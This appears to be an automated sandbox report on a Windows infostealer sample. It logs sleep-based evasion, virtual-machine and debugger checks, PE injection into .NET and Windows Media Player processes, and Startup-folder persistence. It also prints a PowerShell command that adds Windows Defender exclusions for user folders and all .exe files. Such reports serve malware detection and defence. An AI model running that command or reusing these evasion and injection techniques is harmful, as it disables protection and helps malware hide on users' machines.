Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory allocated: 1BC8E820000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory allocated: 1BCA81C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Memory allocated: 7D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Memory allocated: 22F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Memory allocated: 900000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Memory allocated: BC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Memory allocated: 2510000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Memory allocated: 4510000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Window / User API: threadDelayed 6544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Window / User API: threadDelayed 3304	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 9998	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 9995	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Window / User API: threadDelayed 7531
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Window / User API: threadDelayed 1845
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 9994
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 9975
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Window / User API: threadDelayed 9998
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Window / User API: threadDelayed 9999
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6907

Source: C:\Program Files\Windows Media Player\wmplayer.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_12-16211
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_2-14931

Source: C:\Windows\System32\svchost.exe	API coverage: 4.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.4 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.4 %
Source: C:\Program Files\Windows Media Player\wmplayer.exe	API coverage: 1.2 %

Source: C:\Windows\System32\svchost.exe TID: 3168	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6640	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 760	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 760	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 6792	Thread sleep count: 6544 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 6792	Thread sleep count: 3304 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5504	Thread sleep count: 9998 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5504	Thread sleep time: -9998000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4636	Thread sleep count: 9995 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4636	Thread sleep time: -9995000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe TID: 2052	Thread sleep time: -75310s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe TID: 5376	Thread sleep time: -1845000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe TID: 6176	Thread sleep count: 9998 > 30
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe TID: 6176	Thread sleep time: -9998000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2468	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe TID: 1836	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Media Player\wmplayer.exe TID: 7036	Thread sleep count: 9999 > 30
Source: C:\Program Files\Windows Media Player\wmplayer.exe TID: 7036	Thread sleep time: -9999000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3740	Thread sleep count: 6907 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7072	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3180	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 6528	Thread sleep count: 113 > 30
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 6528	Thread sleep time: -113000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB14DCE0 FindFirstFileExW,	2_2_00000142DB14DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A04DCE0 FindFirstFileExW,	4_2_000001F28A04DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 7_2_0000023D0748DCE0 FindFirstFileExW,	7_2_0000023D0748DCE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3CDCE0 FindFirstFileExW,	12_2_000002109C3CDCE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB63DCE0 FindFirstFileExW,	23_2_00000200AB63DCE0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEFADCE0 FindFirstFileExW,	41_2_000001DDEEFADCE0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CE9DCE0 FindFirstFileExW,	42_2_000001932CE9DCE0

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe

Code function: 16_2_00007FF7FE544E38 VirtualQuery,GetSystemInfo,

16_2_00007FF7FE544E38

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: svchost.exe, 00000007.00000002.3897187473.0000023D06638000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: svchost.exe, 00000002.00000002.2466233527.00000142DB25A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2464735487.00000142D5C27000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3899884261.0000023D066C5000.00000004.00000020.00020000.00000000.sdmp, aspnet_wp.exe, 0000000C.00000002.3893768041.000002109A3BC000.00000004.00000020.00020000.00000000.sdmp, aspnet_wp.exe, 0000000C.00000002.3893768041.000002109A348000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 0000001B.00000002.2287968740.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: jsc.exe, 00000003.00000002.3932040211.0000000005BF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: spczxf.exe, 00000008.00000002.1738420103.000001A4C3F01000.00000004.00000800.00020000.00000000.sdmp, aspnet_wp.exe, aspnet_wp.exe, 0000000C.00000002.3891911934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: bc1qemupvduu8mnmjcwsxmt5k3l6a4qyg5dmtt2wtl
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: utntwb.exe, 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: svchost.exe, 00000007.00000002.3898923157.0000023D066AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXT15E6VMWare
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process queried: DebugPort

Source: C:\Windows\System32\svchost.exe

Code function: 2_2_00000142DB14D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00000142DB14D2A4

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe

Code function: 16_2_00007FF7FE544AC0 memset,GetVersionExW,memset,GetSystemDirectoryW,lstrlenW,lstrlenW,LoadLibraryW,GetProcAddress,FreeLibrary,

16_2_00007FF7FE544AC0

Source: C:\Windows\System32\svchost.exe

Code function: 2_2_00000142DB14F830 GetProcessHeap,

2_2_00000142DB14F830

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB14D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00000142DB14D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB147D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00000142DB147D90
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A04D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_000001F28A04D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A047D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_000001F28A047D90
Source: C:\Windows\System32\svchost.exe	Code function: 7_2_0000023D07487D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0000023D07487D90
Source: C:\Windows\System32\svchost.exe	Code function: 7_2_0000023D0748D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0000023D0748D2A4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_00401180 SetUnhandledExceptionFilter,	12_2_00401180
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_000002109C3C7D90
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3D6218 SetUnhandledExceptionFilter,	12_2_000002109C3D6218
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_000002109C3CD2A4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Code function: 16_2_00007FF7FE545D44 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF7FE545D44
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Code function: 16_2_00007FF7FE545C50 SetUnhandledExceptionFilter,	16_2_00007FF7FE545C50
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Code function: 16_2_00007FF7FE545AB4 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF7FE545AB4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB637D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00000200AB637D90
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB646218 SetUnhandledExceptionFilter,	23_2_00000200AB646218
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB63D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00000200AB63D2A4
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEFA7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_000001DDEEFA7D90
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEFAD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_000001DDEEFAD2A4
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CEA6218 SetUnhandledExceptionFilter,	42_2_000001932CEA6218
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CE97D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_000001932CE97D90
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CE9D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_000001932CE9D2A4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, LockContentionCountCustomAttributeEncodedArgument.cs	Reference to suspicious API methods: ((MemoryFailPointCopyright)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary(InternSendTo.getAssemblyFlagsAssumeUniversal("getKeyPairBindToField")), InternSendTo.getAssemblyFlagsAssumeUniversal("MaybeCastopLeftShift")), typeof(MemoryFailPointCopyright)))(ExecutingCallbackIdThread, LocalAppContextSwitchesgetNormalMantissaMask, cDisplayClass60ITaskAwaiter, out getItem6ContextualReflectionScope)
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, LockContentionCountCustomAttributeEncodedArgument.cs	Reference to suspicious API methods: ((MemoryFailPointCopyright)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary(InternSendTo.getAssemblyFlagsAssumeUniversal("getKeyPairBindToField")), InternSendTo.getAssemblyFlagsAssumeUniversal("MaybeCastopLeftShift")), typeof(MemoryFailPointCopyright)))(ExecutingCallbackIdThread, LocalAppContextSwitchesgetNormalMantissaMask, cDisplayClass60ITaskAwaiter, out getItem6ContextualReflectionScope)
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, Messages.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)
Source: msbuild.exe.27.dr, NativeMethodsShared.cs	Reference to suspicious API methods: OpenProcess(eDesiredAccess.PROCESS_QUERY_INFORMATION, bInheritHandle: false, processIdTokill)

Adds a directory exclusion to Windows Defender

Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: 140000000 value starts with: 4D5A

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Thread register set: target process: 1340
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Thread register set: target process: 5872
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Thread register set: target process: 1204
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Thread register set: target process: 3288

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 40A000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 40C000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: F00008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 404000
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 40C000
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 438000
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 439000
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 43A000
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 43B000
